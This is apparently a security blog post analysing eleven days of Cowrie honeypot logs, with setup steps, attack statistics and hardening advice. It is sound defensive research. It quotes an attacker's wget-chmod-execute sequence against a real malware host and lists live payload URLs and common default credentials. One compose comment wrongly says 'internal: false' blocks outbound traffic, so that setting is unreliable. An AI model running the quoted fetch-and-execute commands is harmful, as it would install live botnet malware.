Running a Cowrie Honeypot: Data and Findings

The internet never sleeps, and neither do the armies of bots probing every exposed port they can find. To see just how noisy the background really is, I decided to spin up a honeypot; a decoy service designed to attract attackers and record their behavior.

A honeypot is a security mechanism that deliberately exposes a fake or emulated service to attackers. Instead of providing real access, it records every interaction for later analysis. The goal is not to stop attacks, but to learn from them: what credentials attackers try, which tools they use, and what payloads they attempt to deliver once they believe they’ve gained access.

For this experiment I deployed Cowrie, an SSH/Telnet honeypot, on a VPS. Cowrie simulates an SSH/Telnet service with a working login prompt and fake shell environment. From the attacker’s perspective it looks real, but everything they type or attempt is logged safely without risk to the host system.

The setup is extremely straightforward:

1) Move your real SSH off port 22

Keep your session open while you do this.

# Edit sshd config
sudo sed -i 's/^#\?Port .*/Port 22222/' /etc/ssh/sshd_config

# Open the new port (UFW example; skip if you don’t use UFW)
sudo ufw allow 22222/tcp

# Reload SSH
sudo systemctl reload ssh

# In a second terminal, confirm you can log in on the new port
ssh -p 22222 user@your_vps_ip

2) Docker Compose for Cowrie

~/cowrie/docker/docker-compose.yml:

# ~/cowrie/docker/docker-compose.yml
version: "3.8"

volumes:
  cowrie-var:

networks:
  cowrie-net:
    internal: false   # no outbound internet from container

services:
  cowrie:
    image: cowrie/cowrie:latest   # use the prebuilt image
    restart: always
    # Publish SSH/Telnet to the outside world
    ports:
      - "22:2222"   # Cowrie's SSH -> internet port 22
      - "23:2223"   # Cowrie's Telnet -> internet port 23 (optional)
    networks:
      - cowrie-net
    environment:
      - COWRIE_TELNET_ENABLED=yes  # enable telnet without editing config
    volumes:
      - cowrie-var:/cowrie/cowrie-git/var  # persist logs only

3) Deploy

cd ~/cowrie/docker
docker-compose pull
docker-compose up -d

# Verify ports are published
docker ps
ss -ltnp | egrep ':22|:23'

From another machine:

ssh -p 22 your_vps_ip   # you should hit Cowrie’s fake SSH

4) Check the logs

Cowrie writes structured events to cowrie.json. With Compose named volumes, Docker prefixes the volume name with the project (e.g., root_cowrie-var). Tail it directly on the host:

tail -f /var/lib/docker/volumes/root_cowrie-var/_data/log/cowrie/cowrie.json

(General way to find the path:)

docker volume inspect cowrie-var | jq -r '.[0].Mountpoint'

Session transcripts land in:

/var/lib/docker/volumes/<prefix>cowrie-var/_data/lib/cowrie/tty/

5) Quick first stats (optional)

sudo apt-get install -y jq
LOG=/var/lib/docker/volumes/root_cowrie-var/_data/log/cowrie/cowrie.json

# Top usernames
jq -r 'select(.eventid=="cowrie.login.failed")|.username' "$LOG" | sort | uniq -c | sort -nr | head

# Top passwords
jq -r 'select(.eventid=="cowrie.login.failed")|.password' "$LOG" | sort | uniq -c | sort -nr | head

# Top source IPs
jq -r 'select(.src_ip)|.src_ip' "$LOG" | sort | uniq -c | sort -nr | head

Results

Between August 24th and September 3rd, 2025 (11 days), the Cowrie honeypot recorded an onslaught of 89,109 events across 20,683 sessions, originating from 2,123 unique IP addresses. 

To put that in perspective, that's nearly 1,900 connection attempts per day on average, or ~78 per hour; the "background noise" of the internet. And remember, this server wasn't advertising any services or doing anything high-profile, it was just a default SSH port open to the world, which is enough to attract constant attention from bots. 

SSH vs Telnet: Interestingly, even though SSH attacks were more common, a significant minority of attackers also targeted Telnet on port 23. Out of the 20,683 sessions, about 75.6% were SSH and 24.4% were Telnet. This shows that even now, some IoT malware and scanners still prod old-school Telnet services in addition to SSH. Many Mirai-like IoT botnets will cycle through both ports 22 and 23 when looking for vulnerable devices. 

A high-level summary of what the honeypot captured:

• Total sessions (connections): 20,683
• Total events (log lines recorded): 89,109
• Unique attacker IPs: 2,123
• SSH sessions: 15,640 (75.6%)
• Telnet sessions: 5,043 (24.4%)

Each session corresponds to an attacker connecting and interacting (or not) with the honeypot. Each session can generate multiple events (e.g. login attempts, commands).

Top Attacking IPs and Botnet Behavior

Not all IP addresses were equally aggressive. Some hosts tried a handful of sessions, others barraged the honeypot non-stop. The top IPs by number of sessions initiated are listed below:

Several things jump out from this table:

• A few IPs dominate: The top IP (148.72.158.192) initiated 2,641 sessions by itself, far more than any other single address. The top 3 IPs together account for 4,665 sessions (22.5% of all sessions). Very persistent scanners.
• Clusters of IPs in the same subnets: Notice many addresses share common prefixes. Multiple hosts from the 45.135.232.0/24 subnet appear (ranks 2, 14, 15, 19 all start with 45.135.232.x), totaling over 1,800 sessions combined. Similarly, 80.94.95.15 and 80.94.95.112 (rank 5 and 7) are in the same /24 block, as are 196.251.88.103 and .104 (rank 6 and 11), and 176.126.83.133 and .132 (rank 3 and 17). These are botnet clusters or coordinated scanners with many bots on the same network segment attacking in parallel.
• Global distribution: The IPs come from all over, a mix of what look like cloud providers and likely compromised consumer devices.

Credential Brute-Force Analysis

Once a connection is made, the attacker’s next step is usually to attempt a login. Since Cowrie presents a fake login prompt, we get to see all the username/password combinations attackers try. Over the 11 days, the honeypot logged 12,199 login attempts in total (across those 20k sessions). These can be broken down into:

• Failed login attempts: 8,758 (attackers tried a username/password that Cowrie rejects by default)
• Successful logins (honeypot accepted): 3,441 (Cowrie will allow certain usernames, like “root”, to login with any password, leading the attacker into a fake shell environment)

Cowrie’s default behavior is to pretend that the login succeeds for some common usernames (like “root” or “admin”), which is how we ended up with thousands of successful logins. In reality, none of these are real logins to a real system, but from the attacker’s perspective they’ve hit they gained shell access, at which point Cowrie continues to record their activity. Failed attempts simply mean the honeypot told the attacker “login incorrect” and the session often ends shortly after or the attacker tries another credential.

Top Usernames and Passwords: Attackers don’t try random strings for credentials (at least not usually); they use lists of common usernames and passwords (a mix of default device credentials and popular weak passwords). Here were the top 20 usernames and passwords observed:

• Most Frequent Usernames:
  1. admin – 1,657 attempts
  2. user – 503
  3. root – 375
  4. oracle – 178
  5. ftpuser – 158
  6. ubnt – 140
  7. test – 127
  8. pi – 117
  9. postgres – 111
  10. es – 84
  11. support – 78
  12. guest – 74
  13. nagios – 66
  14. git – 65
  15. apache – 62
  16. tomcat – 59
  17. mysql – 56
  18. ubuntu – 55
  19. monitor – 52
  20. administrator – 50
• Most Frequent Passwords:
  1. 123456 – 840 attempts
  2. root – 242
  3. abc123 – 238
  4. abcd123 – 163
  5. abcd1234 – 153
  6. 123 – 134
  7. abc1234 – 117
  8. admin – 117
  9. 1234 – 80
  10. password – 77
  11. test – 71
  12. guest – 70
  13. support – 69
  14. oracle – 68
  15. 12345 – 67
  16. postgres – 66
  17. qwerty – 65
  18. 1q2w3e4r – 63
  19. tomcat – 62
  20. raspberry – 60

All in all, not very surprising. On the username side, we see a lot of default account names for various systems and applications: admin, root, oracle, ftpuser, ubnt, pi, postgres, nagios, git, apache, tomcat, etc. Attackers are clearly hoping the target is some misconfigured device or application left with a default login.

On the password side, “123456” is by far the most attempted password, which sadly reflects how many real systems must still have that as a password. Other very common ones include root, abc123, password, 1234, 12345, qwerty – essentially the worst passwords that any password policy would forbid, but which still appear in countless password dumps and hacker wordlists. We also see some service-specific defaults in the password list: raspberry, postgres, tomcat, etc. Attackers mix these in with generic weak passwords.

Top Username+Password Combinations: It’s interesting to look at which exact pairs of username and password are most popular. Here are the top 10 credential pairs the attackers tried (out of thousands of unique combos):

1. root : root – 211 attempts
2. admin : admin – 69 attempts
3. user : user – 46
4. ubnt : ubnt – 38
5. ftpuser : ftpuser – 36
6. root : 123456 – 36
7. pi : raspberry – 35
8. admin : password – 35
9. support : support – 34
10. guest : guest – 33

(…and many more combinations with smaller frequencies.)

Default credentials are heavily attempted. The list is dominated by identical username=password pairs (root/root, admin/admin, user/user, ubnt/ubnt, etc.) and other well-known defaults (pi/raspberry for Raspberry Pi, admin/password, etc). Attackers are absolutely banking on the chance that the target might be an IoT device or software appliance left with factory logins. In fact, I counted at least 18 distinct username-password pairs in the dataset that were obvious vendor defaults (including the ones above).

In total, about 2,475 login attempts (roughly 20% of all attempts) used some kind of default credentials (same user and pass or known default combo). The remaining ~9,700 attempts (~80%) were more general weak passwords (the dictionary approach, e.g. trying “root” with a bunch of common passwords like 123456, password, etc., or trying those weak passwords on various usernames). So there was roughly a 1:4 ratio of default-credential attacks to broader dictionary attacks. This shows a strong preference for dictionary-style brute forcing over strictly trying default logins. Attackers apparently assume that even if the device isn’t on default creds, it might have a weak user-chosen password they can guess.

The fact that root:root is still the #1 combo (211 attempts) and admin:admin not far behind tells us that, even in 2025, bots are still routinely trying the classics. This likely still pays off for them when encountering older equipment or unmaintained systems. It’s a reminder that using any of these credentials on an internet-facing system is basically guaranteeing a compromise.

Attacker Tools and SSH Client Fingerprints

When an SSH client connects, it identifies itself with a version string (like SSH-2.0-OpenSSH_8.4 or SSH-2.0-PuTTY etc.). Cowrie logged these version banners and also the cryptographic handshake fingerprints (called HASSH – a hash of the SSH client's handshake parameters). These give insight into what software or libraries the attackers are using for their SSH connections.

The vast majority of connections were not human users running OpenSSH from a terminal, but automated scripts and malware. Here were the most common SSH client identifiers seen:

• SSH-2.0-Go – 7,545 sessions: This was the single most frequent client banner. Go refers to Go-language based implementations. Likely this is from tools like Zgrab or custom scanners written in Go which often use the Go standard SSH library (and it simply identifies itself as SSH-2.0-Go). Over 7.5k connections (36% of all sessions) used this, indicating a ton of traffic from mass-scanning tools.
• SSH-2.0-PUTTY – 3,153 sessions: PuTTY is a popular Windows SSH client. However, in this context, these are probably not literal human users clicking PuTTY. Many IoT botnets and malware campaigns use a stripped-down PuTTY (or something reporting as PuTTY) to script their SSH brute-force attempts. So about 15% of sessions had a banner claiming to be PuTTY.
• SSH-2.0-libssh2_1.9.0 – 872 sessions: libssh2 is a C library for SSH used by some tools. 872 hits (~4%) came from a client using libssh2 v1.9.0. This could be some malware or scanner built with libssh2.
• “SSH-2.0-AsyncSSH_2.1.0” – 115 sessions: AsyncSSH is a Python library. These could be researchers or less common bots using Python scripts to scan.
• Various OpenSSH versions – In total only a few hundred sessions (at most) identified as OpenSSH (like OpenSSH_8.4p1, OpenSSH_8.9, etc.), and these were likely from researcher scans or mistaken connections. Legitimate admins using OpenSSH are rare in the dataset because my real SSH was on a different port, so almost every connection on port 22 was malicious. The presence of any OpenSSH banners at all could be scanners that intentionally impersonate OpenSSH to blend in, or maybe a very small number of curious humans who stumbled on the honeypot (hard to say).

We can conclude that over 80-90% of the traffic was automated and tool-driven, not real interactive users. This aligns with the idea that botnets and scanners account for the bulk of internet background noise.

Corroborating this, if we look at the HASSH fingerprints (which uniquely identify an SSH client’s handshake patterns), we saw a few fingerprints dominate across many IPs:

• The top fingerprint 0a07365cc01fa9fc82608ba4019af499 appeared 5,521 times. This fingerprint was seen from many different source IPs, implying a widely used tool. (This one corresponds to the SSH-2.0-Go client. Basically all those Go-based scanners had the same fingerprint.)
• The next fingerprint 1616c6d18e845e7a01168a44591f7a35 appeared 3,153 times (this matches the PuTTY client, indeed all those PuTTY-identifying sessions share a fingerprint).
• The third, 57446c12547a668110aa237e5965e374, showed up 872 times (matches the libssh2_1.9.0 client).
• Others drop off rapidly in frequency: the 4th most common (98f63c4d9c87edbd97ed4747fa031019) was 683 times, 5th (6a77bbd6ef48d6a9959a47aa4a42a505) 544 times, etc. Beyond the top 5, most fingerprints were seen under 200 times each.

The key takeaway from these fingerprints is that the attacks are homogeneous. The same few tools (or malware families) are launching most of the attacks, just from a variety of IP addresses. This is exactly what you'd expect from botnets: each bot is an infected machine, but they all run the same attack code, hence they have identical SSH fingerprints and behaviors. It's not 2,123 independent actors with unique techniques, it's likely a handful of malware campaigns accounting for the lion’s share of the noise.

Commands Attackers Ran After Login

Once attackers successfully "logged in" (into the Cowrie fake shell), what did they do? Typically, the pattern is to run a series of commands to recon the system and possibly download malware. Because Cowrie emulates a shell, it captured every command issued.

Across all sessions, thousands of commands were attempted. Many were repeated across different attackers, indicating automated scripts. Here were some of the most common commands or actions executed by attackers:

• uname -s -v -n -r -m – This was the single most frequent command, attempted 1,021 times. It queries the system’s OS name, kernel version, hostname, and machine hardware name in one go. Essentially, attackers are asking “What are you? Linux? What kernel? What hostname and architecture?” right after login. This is basic reconnaissance to learn about the target system.
• uname -a – The shorter form of uname (which prints all system info) was the second most common, 210 times. Same purpose as above: fingerprint the system environment.
• echo SCANNER_TEST – Appeared 144 times. Likely a simple connectivity check or marker by a scanning tool to confirm it can run commands. Some botnets use an echo of a known string to verify they have a shell (for example, they send echo SCANNER_TEST and expect to see SCANNER_TEST echoed back).
• hostname – 106 times, to get the system’s hostname (again, similar to uname -n).
• 1 – Yes, just the number 1 as a command, 102 times. This one is odd; it could be a mistake in a script or a way to test something trivial (in Linux, typing just 1 and Enter doesn’t do much except return an error or exit code 1). Possibly an automated script sending a dummy payload or a misconfigured bot? The fact it happened 102 times suggests it’s an automated artifact, not a human.
• whoami – 81 times, to check which user they are (though since they "logged in" with whatever credentials, it will usually be root in Cowrie's env).
• Environment probing script – At least 71 sessions executed a particularly long multi-line script that collected extensive info: it ran uname and parsed uptime from /proc/uptime, checked CPU details via /proc/cpuinfo, looked for GPU info via lspci, checked how the cat and ls commands respond to --help (possibly to detect certain sandbox environments), and even ran last to see recent logins. This script printed output prefixed with labels like UNAME:, ARCH:, UPTIME: etc. The presence of this script is a strong indicator of a honey-pot/sandbox detector – advanced malware will run such scripts to decide if the environment is a real machine or a research sandbox. The fact that the exact same script appeared 71 times means multiple bots were using the same toolkit that includes this reconnaissance routine.
• netstat -tulpn | head -10 – 52 times, used to list network listening ports and associated processes (show first 10 lines). Attackers want to see what services might be running (perhaps to plan lateral movement or see if it’s a juicy target with databases, etc.).
• ps aux | head -10 – 49 times, used to list running processes (first 10 lines). Again, basic recon – what processes are on this system?
• pwd – 47 times, print working directory. Likely just checking where they landed (Cowrie typically puts them in a fake home directory).
• ls – 45+ times (various forms, sometimes just ls or ls -la etc.), to list directory contents. Attackers poking around the file system.

And so on. Nearly all of these commands are automation and reconnaissance. There was very little in the way of interactive, manual exploration (which would look like a human typing different things, editing files, etc.). The attackers basically log in, the script runs a flurry of info-gathering commands within a few seconds, and then often tries to download something malicious (which we’ll cover next). If the download or further exploit succeeds (or fails), often the session just ends.

It’s interesting that none of the top commands are things like cd or vi or any manual admin tasks; it’s all "what are you" and then presumably "here's my malware payload".

Malware Download Attempts (Payloads)

After recon, the logical next step for an automated attack is often to fetch a malware binary or script that will turn the compromised machine into a bot (for DDoS, cryptomining, etc). Our honeypot caught many such attempts. Cowrie intercepts and logs file download commands (like wget or curl attempts), and can even save a copy of the file (which is great for later analysis). 

In the 11-day period, there were 129 file download events recorded. Many of these were repeated attempts to fetch the same files. Only a handful of unique URLs were involved – the bots were largely trying to download a few specific payloads.

The distinct URLs observed (with frequency) were:

• http://178.16.54.252/bins.sh – attempted 17 times.
• http://23.146.184.21/adb.sh – attempted 4 times.
• http://213.232.114.169/d.sh – attempted 3 times.
• http://185.132.53.207/1.sh – attempted 2 times.
• (Plus a large number of attempts (100+) where the URL wasn't logged because the file was already seen before – more on that below.)

You can tell just by the names, these are not benign files: bins.sh, adb.sh, 1.sh, d.sh – they look like installer scripts for malware. Often, botnets use a shell script to pull down the correct binary for the infected machine’s architecture (hence the term “bins” as in binaries). For example, a script might download multiple binaries for x86, ARM, MIPS, etc., and run whichever works – this is a common tactic for IoT malware like Mirai variants.

Cowrie saved copies of some of these files. One particularly popular file had an SHA-256 hash of 1b20a210fe96e5a8abc... (truncated for brevity) and was attempted 71 times. The first time it was seen, Cowrie downloaded it (likely one of the above URLs corresponds to this hash), and thereafter for the next 70 attempts, Cowrie didn’t re-download (it marked them as duplicate attempts). This is why we had many NaN (not-a-number) entries for URL in the log; those were repeated attempts of a known file, which the honeypot handled by not pulling it again.

From an external threat intelligence perspective, at least one of these URLs was known bad. The URL 178.16.54.252/bins.sh was reported to threat databases during this timeframe as a malware distribution site threatfox.abuse.ch. In fact, it was first seen on Aug 25, 2025 and tagged as payload_delivery in ThreatFox feeds, associated with honeypot reports. This aligns perfectly with our observation, as my honeypot saw it 17 times in that period. In other words, the VPS directly witnessed an active malware campaign that researchers worldwide were also tracking.

The content of these scripts and binaries is beyond the scope of this post (and running them is dangerous), but based on naming and behavior, we can guess:

• bins.sh is likely a Mirai-like loader script that downloads different bot executables (commonly, IoT botnets use a file named “bins.sh” or similar).
• adb.sh suggests something targeting Android Debug Bridge (ADB) – Android devices often get attacked via ADB on port 5555, and an adb.sh could be part of that exploit sequence. It’s a bit odd to see it on an SSH/Telnet honeypot, but some bots just try every payload they have regardless of the entry vector.
• d.sh and 1.sh are generic, possibly also download-and-exec scripts for various malware strains.

The honeypot logs show these download attempts often tried to save files into directories like /tmp/ or used names like trying to drop in wget and chmod +x commands. For instance, one typical sequence (from combining log events) was an attacker doing something like:

wget http://178.16.54.252/bins.sh -O /tmp/bins.sh
chmod +x /tmp/bins.sh
/tmp/bins.sh

Which would, on a real system, fetch the script and execute it to infect the machine. In our case, Cowrie faked the download (even saved the file for us) and if the script ran, it would operate in Cowrie’s sandbox (likely failing to contact its C2 since outbound Internet from the container was disabled by my setup).

These were active exploitation attempts aiming to deliver malware. The presence of those specific URLs in our logs shows how quickly an exposed system gets pulled into the sights of botnets. The fact that some payloads were attempted dozens of times means either many different bots tried the same thing, or some bots retried repeatedly.

On a related note, Cowrie also recorded file upload attempts (where the attacker tries to upload a file via SCP or similar). There were a few of those in the logs as well (though far fewer than downloads). Most attackers stick to the target pulling from a URL, since it’s simpler and bypasses firewall issues.

Timeline of Attack Activity

Attack volume wasn't uniform over time. Some days and hours were heavier than others. Here’s how events were distributed by day and by hour of day:

Events per day:
Events captured per day by the honeypot (Aug 24 – Sep 3, 2025). There was a steady drumbeat of activity each day, with a massive spike on September 1st and 2nd.

As shown above, most days saw on the order of 5,000–8,000 events. But on September 1, the honeypot logged 14,527 events, and September 2 wasn’t far behind with 13,954. These two days saw roughly double the traffic of a typical day. This corresponds to about ~3,500 sessions on Sep 1 and ~3,300 on Sep 2, compared to ~1,000–1,500 sessions on a normal day. Something ramped up at the start of September; likely a new botnet campaign or an existing one that expanded its reach or intensified its scans at that time.

It's not uncommon, botnets often operate in cycles or when new malware variants drop, there’s a burst of scanning. The data suggests Sep 1–2 spike was a coordinated scanning wave, possibly related to the payloads we saw (maybe the bins.sh or others were part of a new malware version that started propagating then).

After Sep 2, the activity came down a bit to ~10k events on Sep 3, which is still higher than the previous week’s average. It’s possible the campaign was winding down or my IP fell off the target list of some bots. 

Events by hour of day (UTC):
Aggregate distribution of events by hour of the day (UTC), across the entire 11-day period. Attacks happened constantly, but there was a noticeable peak in the late afternoon UTC (around 15:00), and relative lull in the early morning hours.

From the hourly chart, we can see the attackers didn’t strike uniformly at all hours:

• The busiest hour on average was around 15:00 UTC, which saw a sharp peak (over 7,300 events were logged in the combined data for 15:00–15:59 UTC across all days). In general, the 15:00–18:00 UTC window saw heightened activity. This could correspond to times when certain botnets (maybe based in certain regions or following certain cron schedules) were most active. 15:00 UTC is evening in Asia, late morning in the Americas, and nighttime in East Asia – it’s hard to pin down, but botnets don’t exactly “sleep” so this might just be when a particular group of them launched scans each day.
• There was also a secondary bump around 21:00–22:00 UTC visible.
• The quietest period was roughly 00:00–04:00 UTC. Even at the lowest point (~1 AM UTC) we still averaged around 1,800 events in that hour over 11 days (which is ~164 events per hour per day at that time). So “quiet” is relative – the internet never truly sleeps. But comparatively, the wee hours (which correspond to evening in North America and middle of the night in Europe/Africa) had fewer attacks. Possibly because some botnets might avoid scanning during those hours or those are maintenance times, or simply randomness.

In any case, the main point is the attacks were continuous. Even at “low” times, the server was getting hit multiple times every minute. And at peak, it could be dozens of events per minute. There was never an hour with zero attacks.

Key Takeaways from the Honeypot Experiment

After crunching all this data, here are some of the most important lessons and insights:

• Botnets Outnumber Humans: The vast majority of interactions were from automated tools or malware, not legitimate users. Over 80% of sessions identified as Go-based scanners or scripted clients like PuTTY, with identical fingerprints across thousands of IPs. This confirms that what we're seeing is largely botnet activity, armies of infected machines systematically scanning and brute-forcing targets. Human-driven attacks, if any, are lost in the noise. The scale and consistency (20k sessions from ~2k IPs in 11 days) show how common and relentless internet-wide scanning is.
• Default IoT Credentials Still Matter: Nearly 1 in 5 login attempts (roughly 2,500 in total) used known default username/password combos for things like routers, IP cameras, and software appliances. Credentials like root:root, admin:admin, pi:raspberry are still being heavily tried. This indicates that attackers find enough success with these (on unpatched IoT devices, for example) that it's worth their time. It's a reminder that factory-default logins must be changed – otherwise, you’ll be compromised very quickly by these opportunistic bots.
• Attack Automation is Very Noisy: The patterns of commands (like uname -a spammed 1000+ times) and the timing (bursts of identical activity) highlight that these attacks are fully automated. The attackers’ tools hit a system, quickly fingerprint it, attempt to download malware, and move on. There’s no subtle manual exploration. From a defender’s perspective, this noise is a blessing and a curse: it’s very obvious when you look at logs (hundreds of login failures, repeated suspicious commands), but it’s so constant that many systems just ignore it as background noise until one succeeds.
• Sandbox Detection Tactics Are Present: Some of the more advanced payloads ran environment checks (like the multi-line script capturing system and environment details). This means some attackers are trying to distinguish real systems from honeypots or VMs. For example, checking GPU info or specific command behaviors can reveal if they’re in a generic VM that might be a research honeypot. Our honeypot passed some of these checks (Cowrie fakes certain outputs), but it shows an increasing level of sophistication. Attackers are aware of honeypots and at least a few take steps to evade or detect them.
• Persistence (or Lack Thereof): About 1.6% of sessions lasted longer than one minute. The vast majority of attackers disconnected within seconds after doing their scripted routine. A tiny fraction hung around (perhaps a human or a bot failing to execute something and leaving the session open). There were a few cases where an attacker tried multiple commands over several minutes, possibly indicating a human at the keyboard testing access. However, these were extremely rare. The data suggests that if a bot's payload execution fails, it just gives up and moves on; there's no Plan B in most of these automated attacks.
• Malware Delivery Was Real: The honeypot wasn't just getting simple brute-force attempts, many sessions actively tried to download and execute malicious software (as evidenced by the 129 download events). This means had this been a real server with weak credentials, it would have likely been infected with malware (DDoS bot, cryptominer, or similar) within a day or two. In fact, it might have been hit by multiple different malware families in succession. Exposed SSH is essentially an open door for malware.

Conclusion and Recommendations

Running this honeypot for just 11 days provided a an in-depth look into the the internet’s constant attacks. This "background radiation" of the internet is composed of botnets crawling every IP, trying to log in with the weakest of credentials and, if successful, rope the machine into the next wave of attacks. It's frankly astonishing, though not surprising to security folks, how quickly and how widely a new server will be probed.

For defenders and system administrators, the lessons couldn't be more clear:

• Do NOT expose password auth on SSH to the internet. If at all possible, disable password login entirely and use key-based authentication. The sheer volume of password guessing in the wild means any weak credential will be found. In my case, I wanted attackers to brute-force, but on a real server you absolutely want to avoid that.
• Use strong, unique passwords or SSH keys + MFA. If you must allow password logins, ensure they are extremely strong (but even then, consider fail2ban or other measures). Better, use SSH keys and even 2FA for SSH if supported. This makes brute-force nearly impossible to succeed.
• Change default credentials on all devices. Routers, cameras, NAS boxes, anything – if it has a default login, assume bots will try it. The data shows default creds are the first thing tried in many cases.
• Monitor your logs. The kind of activity shown here will appear in auth logs (/var/log/auth.log or equivalent) as repeated failures. If you see log entries of unknown users trying to login (especially lots of them), that’s a sign you’re being brute-forced. While common, it shouldn’t be ignored. At minimum, use tools like Fail2Ban to block IPs that fail too many logins.
• Don't expose services unnecessarily. In hindsight, the best option is to not let the internet directly hit these ports at all. Place critical services behind a proxy or VPNs or at least use firewall rules to limit access. The fewer targets available, the less you have to worry about.
• Be aware of IoT devices on your network. Many of these bots are targeting IoT. If you have any device with an open Telnet or SSH and a default password, it’s likely already part of a botnet! Isolate those or secure them, or they will be both a risk to you and others (as they participate in attacks).